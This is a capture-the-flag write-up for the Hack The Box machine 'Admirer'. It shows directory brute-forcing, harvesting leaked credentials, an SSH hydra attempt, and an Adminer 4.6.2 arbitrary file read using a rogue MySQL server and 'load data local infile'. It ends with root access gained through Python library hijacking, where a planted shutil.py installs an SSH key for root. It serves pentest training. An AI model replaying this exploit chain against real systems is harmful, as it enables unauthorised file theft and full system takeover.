20 minute read

adminer

Adminer is an easy linux box by polarbearer & GibParadox. First a hidden directory was found on robots.txt entry which contained files with username and passwords, which I used to login on port 21 and a backup file was found on the ftp port containing more sensitive information. Then adminer.php was found inside /utility-scripts after using gobuster, which was found vulnerable and exploited to get latest credential for waldo which I used to login using ssh. In the box there was a sudoers entry which is exploited with python library hijacking to get a root shell on the box.

Port Scan

local@local:~/Documents/htb/boxes/admirer$ nmap -sV -sC -oA adminer 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up (0.22s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 21 17:38:30 2020 -- 1 IP address (1 host up) scanned in 97.85 seconds

Flags used in nmap

  • -sC for default scripts
  • -sV for enumerating version
  • -oA for saving output with filename adminer in all format

Looking at the result, we have 3 ports open. Port 21 being FTP which is running vsftpd 3.0.3, port 22 is SSH which is running OpenSSH 7.4p1 and HTTP service running on port 80 which is running Apache httpd 2.4.25. Nmap also ran some scripts for port 80 and found robots.txt which has a entry called /admin-dir. As we know what is running on these ports and their versions, we can search the exploitdb database for publicly known exploits.

Using searchsploit

local@local:~/Documents/htb/boxes/admirer$ searchsploit vsftpd
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                |  Path
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                                                                                | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                                                                                | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                                                                                | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                                                                                              | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                        | unix/remote/17491.rb
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Looking at the results, only versions starting with 2. have public exploits. But the vsftpd version running on the box is 3.0.3. Also service running on the other ports are not vulnerable so I am not going to show them. But you can try it yourself as the process is the same.

Searchsploit is a local exploitdb database. If you don’t have searchsploit on your box, you can install it using

local@local:~/Documents/htb/boxes/admirer$ sudo apt update && sudo apt -y install exploitdb

As ssh on port 22 does not have that much of an attack vector, lets start with ftp if it has an anonymous login enabled.

Port 21

local@local:~/Documents/htb/boxes/admirer$ ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:local): anonymous
530 Permission denied.
Login failed.
ftp> 

The anonymous login is not enabled. If it was enabled, I am sure nmap would have shown it.

Port 80

Homepage

1

Contents on /robots.txt

local@local:~/Documents/htb/boxes/admirer$ curl http://10.10.10.187/robots.txt
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

robots.txt is a file where you tell the web crawlers to exclude the entries on it. From this file, we get a hidden folder called admin-dir which contains personal information and creds and also a potential username called waldo which might be useful later. So we should also keep a note of that.

Contents on /admin-dir/

local@local:~/Documents/htb/boxes/admirer$ curl 10.10.10.187/admin-dir/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80</address>
</body></html>

It gives a 403 forbidden error.

Lets try and bruteforce the files and folders inside this directory using gobuster. You can check out the github page for installation guides.

Gobuster

local@local:~/Documents/htb/boxes/admirer$ gobuster dir  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://10.10.10.187/admin-dir -x php,txt -t 20
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.187/admin-dir
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/09/26 09:22:15 Starting gobuster
===============================================================
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)

Flags used

  • dir for specifying in directory bruteforcing mode as gobuster also supports dns and vhost bruteforcing
  • -w to specify the wordlist to use for bruteforcing
  • -u to specify the url
  • -x to specify the extensions for filename. I have used txt as the credentials might be stored on .txt file and php just to show that you could bruteforce for files with multiple extension
  • -t for threads to speed up the process. ie default is 10

directory-list-2.3-medium.txt wordlist comes by default in most pentetration testing distros. If you don’t have any wordlists on your box, you can clone the SecLists repo from github using

local@local:~/opt$ git clone https://github.com/danielmiessler/SecLists

Looking at the results we found two files. So lets check what they have on them.

contacts.txt

local@local:~/Documents/htb/boxes/admirer$ curl http://10.10.10.187/admin-dir/contacts.txt
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb

##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

Here we have got a list of users with their email address. This is good stuff and we should definitely take note of that because this might be useful later.

credentials.txt

local@local:~/Documents/htb/boxes/admirer$ curl http://10.10.10.187/admin-dir/credentials.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Here we have got few usernames with credentials too. SWEET!!

As we now have credentials for ftp, lets try to login on port 21.

Port 21

local@local:/usr/share/wordlists/dirbuster$ ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:local): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

This time we successfully log in.

Listing contents on ftp

ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x---    2 0        111          4096 Dec 03  2019 .
drwxr-x---    2 0        111          4096 Dec 03  2019 ..
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> 

Lets download all the contents on our local box

ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (3.6161 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 15.92 secs (323.2691 kB/s)
ftp> exit
221 Goodbye.
local@local:/usr/share/wordlists$   

dump.sql

-- MySQL dump 10.16  Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)
--                                     
-- Host: localhost    Database: admirerdb
-- ------------------------------------------------------
-- Server version       10.1.41-MariaDB-0+deb9u1
                                            
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
.....
.....
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;                             
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;         
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;                       
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;                         
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
                                            
-- Dump completed on 2019-12-02 20:24:15   

This file does not have that much of an important data. So lets decompress the gz file.

html.tar.gz

local@local:~/Documents/htb/boxes/admirer/ftp$ tar xvf html.tar.gz 
assets/                           
assets/sass/                      
assets/sass/base/                 
assets/sass/base/_reset.scss
assets/sass/base/_typography.scss
assets/sass/base/_page.scss  
assets/sass/main.scss        
assets/sass/noscript.scss         
....
....
utility-scripts/phptest.php
utility-scripts/info.php
utility-scripts/db_admin.php
utility-scripts/admin_tasks.php
w4ld0s_s3cr3t_d1r/
w4ld0s_s3cr3t_d1r/credentials.txt
w4ld0s_s3cr3t_d1r/contacts.txt

Listing the file contents

local@local:~/Documents/htb/boxes/admirer/ftp$ ls -la
total 5184
drwxr-xr-x  6 local local    4096 Sep 26 09:50 .
drwxr-xr-x 10 local local    4096 Sep 26 09:50 ..
drwxr-x---  6 local local    4096 Jun  7  2019 assets
-rw-r--r--  1 local local 5270987 Sep 26 09:45 html.tar.gz
drwxr-x---  4 local local    4096 Dec  3  2019 images
-rw-r-----  1 local local    4613 Dec  4  2019 index.php
-rw-r-----  1 local local     134 Dec  2  2019 robots.txt
drwxr-x---  2 local local    4096 Dec  2  2019 utility-scripts
drwxr-x---  2 local local    4096 Dec  2  2019 w4ld0s_s3cr3t_d1r

Checking the contents of the files

local@local:~/Documents/htb/boxes/admirer/ftp/utility-scripts$ cat db_admin.php 
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

Here we get a username and a password for the database.

local@local:~/Documents/htb/boxes/admirer/ftp/w4ld0s_s3cr3t_d1r$ cat credentials.txt 
[Bank Account]
waldo.11
Ezy]m27}OREc$

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

On this credentials.txt, we have another username and password.

Checking for utility scripts

At this point, we have few usernames and quite a few passwords. So lets try to bruteforce on port 22 which is ssh with these username and creds.

Bruteforcing ssh using hydra

Generating list of potentials users

local@local:~/Documents/htb/boxes/admirer$ cat user.txt 
root
penny
rajesh
amy
howard
bernadette
sheldon
admin
waldo.11
ftpuser
waldo
webmaster
Penny
Rajesh
Amy
Howard
Bernadette
Sheldon
w.cooper
r.nayyar
p.wise
a.bialik
l.galecki
h.helberg
b.rauch
developers
designers
admirer

Potentials passwords

local@local:~/Documents/htb/boxes/admirer$ cat pass.txt 
Ezy]m27}OREc$
fgJr6q#S\W:$P
%n?4Wz}R$tTF7
w0rdpr3ss01!

using hydra

local@local:~/Documents/htb/boxes/admirer$ hydra -L user.txt -P pass.txt ssh://10.10.10.187
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-26 21:06:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 168 login tries (l:28/p:6), ~11 tries per task
[DATA] attacking ssh://10.10.10.187:22/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-26 21:06:45

Flags used

  • -L to specify file with list of username, use -l for single username
  • -P to specify file with list of password, use -p for single password
  • ssh://10.10.10.187 is the protocol://ip format that hydra uses

And looking at the results, we did not get any hit.

Back to Port 80

Now that we have discovered few folders, lets check them out on the webserver.

local@local:~/Documents/htb/boxes/admirer/ftp$ curl 10.10.10.187/w4ld0s_s3cr3t_d1r
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80</address>
</body></html>

We get a 404 error which means that the directory was no longer on the server, which means that the backup on ftp is a old backup and there might be some new things on the server.

Checking if utility-scripts exists

local@local:~/Documents/htb/boxes/admirer/ftp$ curl 10.10.10.187/utility-scripts/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80</address>
</body></html>

This directory does exist as we got a 403 response. As there was no w4ld0s_s3cr3t_d1r, so I thought there might be the possibility of few changes inside utility_scripts too. So I ran wfuzz to find out if there are any new php files. But the thing is that my usual go to file for dirbusting is directory-list-2.3-medium.txt but it turned out the needed entry was not on that list. So one of my friend gave me a hint to use “big” wordlist. So I ran wfuzz with big.txt.

local@local:~/Documents/htb/boxes/admirer/ftp/utility-scripts$ wfuzz -w /usr/share/wordlists/dirb/big.txt --hc 404 http://10.10.10.187/utility-scripts/FUZZ.php
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.187/utility-scripts/FUZZ.php
Total requests: 20469

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                        
===================================================================

000000015:   403        9 L      28 W     277 Ch      ".htaccess"                                                                                                    
000000016:   403        9 L      28 W     277 Ch      ".htpasswd"                                                                                                    
000001873:   200        51 L     235 W    4158 Ch     "adminer"
000009618:   200        964 L    4976 W   84027 Ch    "info"                                                                                                         
000013866:   200        0 L      8 W      32 Ch       "phptest"  

And Finally we got a adminer.php and it presented us with a login page.

Adminer.php

2

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. And looks like the currently running version of our Adminer is 4.6.2.

I looked around and found a post explaining that this version of Adminer is vulnerable and we could pull the local files from the remote server. To exploit this first we have to connect the adminer to our local mysql server and then we can pull the files from the remote server into our local database.

Exploiting the vulnerability

Setting a local mysql server for remote access

This part in itself gave a lot of problem while setting up. Then I found this post which made my life a bit easier.

Welcome to the MariaDB monitor.  Commands end with ; or \g.                                                                                                
Your MariaDB connection id is 50                                                                                                                           
Server version: 10.3.20-MariaDB-1 Debian buildd-unstable                                                                                                   

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.                                                                                       

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create user 'temp123'@'10.10.10.187' identified by 'temppass' ;
Query OK, 0 rows affected (0.012 sec)                                        

MariaDB [(none)]> create database temp;                                      
Query OK, 1 row affected (0.001 sec)                                         

MariaDB [(none)]> grant all privileges on temp.* to 'temp123'@'10.10.10.187' ;                                                                             
Query OK, 0 rows affected (0.002 sec)                                        

MariaDB [(none)]> flush privileges;                                          
Query OK, 0 rows affected (0.002 sec)                                        
MariaDB [(none)]> use temp;
Database changed
MariaDB [temp]> create table temp ( data varchar(2048) );
Query OK, 0 rows affected (0.011 sec)

Here I created a new user temp123 with password temppass and create a new database temp and granted all privileges to the user temp123. As we will be pulling the files from the server, I also created a table temp for that.

Now that we have setup a database and a user, we have to change the mysql configuration as mysql only listens on local interface ie 127.0.0.1. So we have to tell mysql server to listen on all interfaces.

local@local:~/Desktop/htb/adminer# cd /etc/mysql/
local@local:/etc/mysql# grep -R 127.0.0.1
mariadb.conf.d/50-server.cnf:bind-address            = 127.0.0.1

We have to change this bind-address value to be 0.0.0.0

local@local:~/Desktop/htb/adminer# cd /etc/mysql/
local@local:/etc/mysql# grep -R 0.0.0.0
mariadb.conf.d/50-server.cnf:bind-address            = 0.0.0.0

Now we are finally ready to exploit.

Logging in

loginpage

login

And we log in. Now we have can pull down the files from the server. Lets try and download index.php from /var/www/html.

Payload used

load data local infile '/var/www/html/index.php' into table temp fields terminated by "\n"

index.php

And the query is successfully executed.

Checking the file

MariaDB [temp]> select * from temp;
+---------------------------------------------------------------------------------------------------------------------------------+
| data                                                                                                                            |
+---------------------------------------------------------------------------------------------------------------------------------+
| <!DOCTYPE HTML>                                                                                                                 |
| <!--                                                                                                                            |
|       Multiverse by HTML5 UP                                                                                                         |
|       html5up.net | @ajlkn                                                                                                           |
|       Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)                                           |
....
....
       |                                                                                                                                                  
|                         $servername = "localhost";                                                                              |
|                         $username = "waldo";                                                                                    |            
|                         $password = "&<h5b~yK3F#{PaPB&dA}{H>";                                                                  |                   
|                         $dbname = "admirerdb";                                                                                  |
|                                                                                                                                 |
|                         // Create connection                                                                                    |
|                         $conn = new mysqli($servername, $username, $password, $dbname);                                         |
|                         // Check connection                                                                                     |
|                         if ($conn->connect_error) {                                                                             |                        
|                             die("Connection failed: " . $conn->connect_error);                                                  |
|                         }                                                                                                       |
|                                                                                                                                 |  
|                                                                                                                                 |                        
|               <!-- Scripts -->                                                                                                              |            
|                       <script src="assets/js/jquery.min.js"></script>                                                                              |     
|                       <script src="assets/js/jquery.poptrox.min.js"></script>                                                                      |     
|                       <script src="assets/js/browser.min.js"></script>                                                                             |     
|                       <script src="assets/js/breakpoints.min.js"></script>                                                                         |     
|                       <script src="assets/js/util.js"></script>                                                                                    |     
|                       <script src="assets/js/main.js"></script>                                                                                    |     
|                                                                                                                                 |                        
|       </body>                                                                                                                        |                   
| </html>                                                                                                                         |                        
+---------------------------------------------------------------------------------------------------------------------------------+                        
123 rows in set (0.001 sec)  

We got a new password for waldo in this file. As credential reusing is very common, let’s try sshing into the box as user waldo.

Port 22

local@local:~/Documents/htb/boxes/admirer$ ssh waldo@10.10.10.187
waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Sep 25 23:14:59 2020 from 10.10.14.61
waldo@admirer:~

And we get in. COOL!!!

Reading user.txt

waldo@admirer:~$ ls -la
total 32
drwxr-x--- 3 waldo waldo 4096 Sep 25 23:48 .
drwxr-xr-x 9 root  root  4096 Dec  2  2019 ..
lrwxrwxrwx 1 waldo waldo    9 Nov 29  2019 .bash_history -> /dev/null
-rw-r--r-- 1 waldo waldo  220 Nov 29  2019 .bash_logout
-rw-r--r-- 1 waldo waldo 3526 Nov 29  2019 .bashrc
lrwxrwxrwx 1 waldo waldo    9 Dec  2  2019 .lesshst -> /dev/null
lrwxrwxrwx 1 waldo waldo    9 Nov 29  2019 .mysql_history -> /dev/null
drwxr-xr-x 2 waldo waldo 4096 Apr 29 10:57 .nano
-rw-r--r-- 1 waldo waldo  675 Nov 29  2019 .profile
-rwxr-xr-x 1 waldo waldo 2613 Sep 25 23:20 admin_tasks.sh
-rw-r----- 1 root  waldo   33 Sep 25 20:19 user.txt
waldo@admirer:~$ cat user.txt 
f4e37************************80bcd
waldo@admirer:~$ 

Privilege Escalation

Before running any scripts like linpeas or LinEnum for checking the potential privilage escalation vector, I like to do a manual enumeration first.

Sudo -l

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Looking at the entry, any user on the box can run /opt/scripts/admin_tasks.sh with sudo privilages.

Files on /opt/scripts

waldo@admirer:/opt/scripts$ ls -la
total 16
drwxr-xr-x 2 root admins 4096 Dec  2  2019 .
drwxr-xr-x 3 root root   4096 Nov 30  2019 ..
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 admin_tasks.sh
-rwxr----- 1 root admins  198 Dec  2  2019 backup.py

Here we have two files, admin_task.sh and backup.py which is owned by user root and group admins. Only the users on group admins can read backup.py file and everyone can read and execute the content of admin_task.sh.

Checking the group of current user

waldo@admirer:/opt/scripts$ groups
waldo admins

Waldo is a memeber of group admins.

Content of admin_task.sh

waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

Content of backup.py

waldo@admirer:/opt/scripts$ cat backup.py 
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Looking at the content of backup.py, make_archive is imported from file shutil.py. If we can create a file called shutil.py with function make_archive on the same directory, then it will go and import the function from the file on the same directory as backup.py. This concept is called library hijacking in python.

Path where python looks for importing modules

waldo@admirer:/opt/scripts$ python
Python 2.7.13 (default, Sep 26 2018, 18:42:22) 
[GCC 6.3.0 20170516] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages']

The result of sys.path indicates the place in that order that the system is going to look for the imported modules.

But the problem is that we can not write on that folder.

waldo@admirer:/opt/scripts$ touch test
touch: cannot touch 'test': Permission denied

But luckily in the entry from the sudo -l, with SETENV we can set our own environment while executing the script.

 (ALL) SETENV: /opt/scripts/admin_tasks.sh

Now we have to find a way of executing the script as root.

Revisiting the content of admin_tasks.sh

 backup_web()
{
    if [ "$EUID" -eq 0 ]
    then                                                                                
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else               
        echo "Insufficient privileges to perform the selected operation."
    fi                       
}

In this backup_web(), we are running backup.py as root. Nice.
So combining all the info we have till now, lets try and exploit this.

Generating ssh key pairs on our local box

local@local:~/Documents/htb/boxes/admirer$ ssh-keygen -f adminer
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in adminer.
Your public key has been saved in adminer.pub.
The key fingerprint is:
SHA256:InfzJLCxbylP4V4n1CAHqxqoGsHad3urdT3pCiNoADQ local@local
The key's randomart image is:
+---[RSA 3072]----+
| E      .        |
|. .      o       |
|.     o o o      |
|.. .   * o o     |
|..o o * S o .    |
|.+ . * = O . .   |
|+ . = + X = =    |
|.. o . X.= + .   |
|.     oo+....    |
+----[SHA256]-----+

Copying the public key adminer.pub on /dev/shm on remote host

waldo@admirer:/dev/shm$ cat adminer.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8iR0wnYUQX1Nmzog+xUZq24l1N+JzalUlpudXYrwl1/oDEA9xdW4txAAiA63G868bpMKZGiNP62YWwQbmD5lG4mCOQYgA6yBEOvppdC9QxDV8SIrl1omt8m40Eix6SsvVpDkzEAB4HDyR4n7Fxbq1H3QXL5PSLnAHf7/xgzqHW/t1nRk40ZKezppHLH3Ddks/b5VRYRAJK206mivitneJAMmiXD+0degLqeQlQFJtaBqXutroWcISXNt6gn6Hc4Jm3R4bJPT0kyBAggQoTV7en+WvjNGMxjV5dCuFdTSkZqrC75WYGsqnyWtFLCOUzGvv9yNEcLqPe/LW6HRfIxqSGzguKeZ8BHhc4my6ROoi/xS2dG9CdtaIb7Elj46TmZ7LVwPmHnFZDod8LWUqpWGwYstKLcx4Hn56Lveipd9lcd3DRUJXe2RY/L7RxXRKgpF733iiETSIB3LarXeHTGBcVkaLwiEB7qjKYSPNj5QDDEhSz1e2SX0PtWt6y19rtns=

Creating a shutil.py with function make_archive on /dev/shm

waldo@admirer:/dev/shm$ cat shutil.py 
#!/usr/bin/python
import os

def make_archive():
        os.system('mkdir /root/.ssh && cp /dev/shm/adminer.pub /root/.ssh/authorized_keys')

Here I am trying to first create a .ssh directory, if it is not already present and copying my public key to the /root/.ssh/authorized_keys file so that now I can ssh into the box as root using the private key that I generated earlier.

Now we have to set PYTHONPATH=/dev/shm, as it will look for the file shutil.py on that path first.

Executing the script as root

waldo@admirer:/dev/shm$ sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/dev/shm$ Traceback (most recent call last):
  File "/opt/scripts/backup.py", line 12, in <module>
    make_archive(dst, 'gztar', src)
TypeError: make_archive() takes 0 positional arguments but 3 were given

We get a error saying make_archive takes 0 argument but 3 were given. So lets change that.

Updated make_archive

waldo@admirer:/dev/shm$ cat shutil.py 
#!/usr/bin/python
import os

def make_archive(a,b,c):
        os.system('mkdir /root/.ssh && cp /dev/shm/adminer.pub /root/.ssh/authorized_keys')

Executing the script as root

waldo@admirer:/dev/shm$ sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...

This time there were no errors. So lets try and login as root using the private key that we had generated earlier.

Changing the file permission of private key

We have to change the permission of the private key as it contains sensitive information and should not be readable by others. If the file permission is not changed, we will get an error.

local@local:~/Documents/htb/boxes/admirer$ chmod 600 adminer

Logging as root using ssh

local@local:~/Documents/htb/boxes/admirer$ ssh -i adminer root@10.10.10.187
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr 29 11:07:00 2020
root@admirer:~#

And we are in as root.

Reading root.txt

root@admirer:~# ls -la
total 40
drwx------  4 root root 4096 Sep 26 06:03 .
drwxr-xr-x 22 root root 4096 Apr 16 13:30 ..
lrwxrwxrwx  1 root root    9 Nov 29  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Nov 30  2019 .bashrc
-rw-------  1 root root   50 Dec  3  2019 .lesshst
lrwxrwxrwx  1 root root    9 Nov 29  2019 .mysql_history -> /dev/null
drwxr-xr-x  2 root root 4096 Nov 30  2019 .nano
-rw-r--r--  1 root root  148 Jun 10  2018 .profile
-rw-r--r--  1 root root   66 Apr 22 11:45 .selected_editor
drwxr-xr-x  2 root root 4096 Sep 26 06:03 .ssh
-rw-r--r--  1 root root  165 Dec  2  2019 .wget-hsts
-rw-------  1 root root   33 Sep 25 20:19 root.txt
root@admirer:~# cat root.txt
7b1b************************9288